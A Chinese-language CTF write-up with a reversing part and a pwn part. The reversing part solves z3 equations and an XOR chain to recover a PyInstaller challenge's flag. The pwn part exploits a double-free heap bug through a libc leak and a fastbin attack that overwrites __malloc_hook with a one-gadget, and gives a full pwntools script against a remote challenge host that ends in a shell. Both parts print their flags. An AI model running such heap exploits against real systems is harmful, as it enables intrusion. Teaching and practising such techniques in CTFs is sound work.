Re

login

下载附件是一个 pyinstaller 打包的 exe 文件。

反编译 exe

使用 pyinstxtractor.py 反编译:

1
python pyinstxtractor.py login.exe

或者用 Pyinstaller 中的 \utils\cliutils\archive_viewer.py ,具体方法百度,略有不同

找到目录中同名无后缀文件,修改后缀为 .pyc ,接着再找到 struct 一并复制出来。用 winhex 将 login.pyc 文件还原回来,pyinstaller 会去除这部分信息(python 版本、时间戳)。将 struct 前 8 字节添加到 login.pyc 开头,struct 文件头信息与 login.pyc 编译前一致,直接复制懒得去找对应 python 版本的文件头。

在线网站反编译 pyc 文件得到源码。

逆加密算法

15 元 1 次方的方程,用 z3 库解决时,设置变量为 Int 型需要注释有 (a8 << 7) 这一条方程,否则因为变量类型问题无法运算。这时计算结果明显错误,需要添加约束,约束全部 a 都是 >= 0 的。这是能计算出正确结果,将得出值用被注释方程验证,方程成立,结果为真。

然后就是一个迭代的异或解密,前一轮解密结果参与下一轮解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
from z3 import *
def step1():
a1 = Int('a1')
a2 = Int('a2')
a3 = Int('a3')
a4 = Int('a4')
a5 = Int('a5')
a6 = Int('a6')
a7 = Int('a7')
a8 = Int('a8')
a9 = Int('a9')
a10 = Int('a10')
a11 = Int('a11')
a12 = Int('a12')
a13 = Int('a13')
a14 = Int('a14')

solver = Solver()

solver.add((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748)
solver.add((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39) + a14 * 17 == 7258)
solver.add((((a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65) + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33) + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34) + a14 * 23 == 26190)
# True
# solver.add((((a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59) + a5 * 49 + a6 * 81 + a7 * 25 + (a8 << 7) - a9 * 32) + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60) + a14 * 29 == 37136)
solver.add(((a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52) + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36) + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915)
solver.add((((a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45) + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26) + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61) + a14 * 28 == 17298)
solver.add((((a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42) + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47) + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44) + a14 * 65 == 19875)
solver.add(((a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85) + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30) + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784)
solver.add((((a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85) + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36) + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64) + a14 * 27 == 9710)
solver.add(((((a1 * 67 - a2 * 68) + a3 * 68 - a4 * 51 - a5 * 43) + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38) + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52) + a14 * 31 == 13376)
solver.add((((a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51) + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6) + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67) + a14 * 78 == 24065)
solver.add((((a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5) + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35) + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61) + a14 * 20 == 27687)
solver.add(((a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25) + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92) + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250)
solver.add(((a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43) + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36) + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)

solver.add(a1 >= 0)
solver.add(a2 >= 0)
solver.add(a3 >= 0)
solver.add(a4 >= 0)
solver.add(a5 >= 0)
solver.add(a6 >= 0)
solver.add(a7 >= 0)
solver.add(a8 >= 0)
solver.add(a9 >= 0)
solver.add(a10 >= 0)
solver.add(a11 >= 0)
solver.add(a12 >= 0)
solver.add(a13 >= 0)
solver.add(a14 >= 0)

# solver.add(a1 < 127)
# solver.add(a1 >= 32)
# solver.add(a2 < 127)
# solver.add(a2 >= 32)
# solver.add(a3 < 127)
# solver.add(a3 >= 32)
# solver.add(a4 < 127)
# solver.add(a4 >= 32)
# solver.add(a5 < 127)
# solver.add(a5>= 32)
# solver.add(a6 < 127)
# solver.add(a6 >= 32)
# solver.add(a7 < 127)
# solver.add(a7 >= 32)
# solver.add(a8 < 127)
# solver.add(a8 >= 32)
# solver.add(a9 < 127)
# solver.add(a9 >= 32)
# solver.add(a10 < 127)
# solver.add(a10 >= 32)
# solver.add(a11 < 127)
# solver.add(a11 >= 32)
# solver.add(a12 < 127)
# solver.add(a12 >= 32)
# solver.add(a13 < 127)
# solver.add(a13 >= 32)
# solver.add(a14 < 127)
# solver.add(a14 >= 32)


if solver.check() == sat:
print("solver")
ans = solver.model()
print(ans)
else:
print("no")
def step2():
a1 = 119
a2 = 24
a3 = 10
a4 = 7
a5 = 104
a6 = 43
a7 = 28
a8 = 91
a9 = 52
a10 = 108
a11 = 88
a12 = 74
a13 = 88#121
a14 = 33

code = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]

code[0] = a3
code[1] = a2
code[2] = a1
code[3] = a4
code[4] = a5
code[5] = a6
code[6] = a7
code[7] = a8
code[9] = a9
code[8] = a10
code[10] = a11
code[11] = a12
code[12] = a13
code[13] = a14

flag = []
flag.append(chr(code[13]))
for i in list(range(13))[::-1]:
code[i] = (code[i] ^ code[i + 1])
# print(''.join(flag[::-1]))
for i in code:
print(chr(i),end='')




if __name__ == '__main__':
# step1()
step2()

flag

1
58964088b637e50d3a22b9510c1d1ef8

Pwn

sign_in

基本情况

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

程序是一个堆管理器,有增删查功能。

漏洞

释放堆时,没有将指针置零,也没有对堆管理结构体的 inuse 标志位进行检查再释放,造成了 double free 漏洞。

思路

  1. double free 泄露 unsorted bin 中 chunk 的 指针。
  2. fastbin attach 想 hook 函数写入 onegadget

一开始卡第一步泄露了,想着利用 double free 控制堆管理结构体的指针指向 unsorted bin 的 chunk ,指来指去搞不了。

最后泄露方法是申请一个比较大的 unsorted bin chunk ,释放后放入 bin 中。再申请一个大小合适的 chunk ,比如 unsorted bin 申请大小为 0x80 ,那么再申请一个大小为 0x50 chunk 加上结构体 0x20 ,申请的时候只写入最低一个字节,破坏一字节还是能算出 libc 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
0x80+0x10 = 0x50+0x10 + 0x20+0x10

pwndbg> x /20gx 0x555555757030
0x555555757030: 0x0000000000000000 0x0000000000000031
0x555555757040: 0x0000000000000001 0x0000555555757070
0x555555757050: 0x0000000000000062 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000061
0x555555757070: 0x00007ffff7dd1b61 0x00007ffff7dd1b78
0x555555757080: 0x0000000000000000 0x0000000000000000
0x555555757090: 0x0000000000000000 0x0000000000000000
0x5555557570a0: 0x0000000000000000 0x0000000000000000
0x5555557570b0: 0x0000000000000000 0x0000000000000000
0x5555557570c0: 0x0000000000000060 0x0000000000000031

后面就是教科书的 fastbin attack 方式了,没有修改功能就在申请 chunk 的时候将 malloc - 0x23 写入,修改 fd 指针,并绕过 fastbin 检查。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("./sign_in")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p=process('./sign_in')
p=remote('183.129.189.60',10029)
def add(size,name,msg):
p.recvuntil('Your choice : ')
p.sendline('1')
p.recvuntil("game's name: \n")
p.sendline(str(size))
p.recvuntil("game's name:\n")
p.send(str(name))
p.recvuntil("game's message:\n")
p.sendline(str(msg))
def show():
p.recvuntil('Your choice : ')
p.sendline('2')

def delete(id):
p.recvuntil('Your choice : ')
p.sendline('3')
p.recvuntil("game's index:\n")
p.sendline(str(id))

# leak unsorted bin fd
add(0x80,'a','b')#0
add(0x68,'a','b') #1
delete(0)
add(0x50,'a','b') #2
# gdb.attach(p)
show()
p.recvuntil("[2]'s name :")

leak_addr=u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libcbase=leak_addr-0x3c4b61#0x7ffff7dd1b61-0x00007ffff7a0d000
malloc=libcbase+libc.symbols['__malloc_hook']
log.info("malloc:"+hex(malloc))
onegadget=libcbase+0xf1207# 0x4527a
log.info("onegadget:"+hex(onegadget))

# double free fastbin
add(0x68,'a','b') #3
delete(3)
delete(1)
delete(3)

# fastbin attack & bypass fastbin check
add(0x68,p64(malloc-0x23),'b')
add(0x68,'a','b') #3
add(0x68,'a','b') #3

# getshell
add(0x68,'skye'.ljust(0x13,'a')+p64(onegadget),'b')
p.recvuntil('Your choice : ')
p.sendline('1')

p.interactive()

flag

1
a48bv8fad44bca4d76765e4590fb351e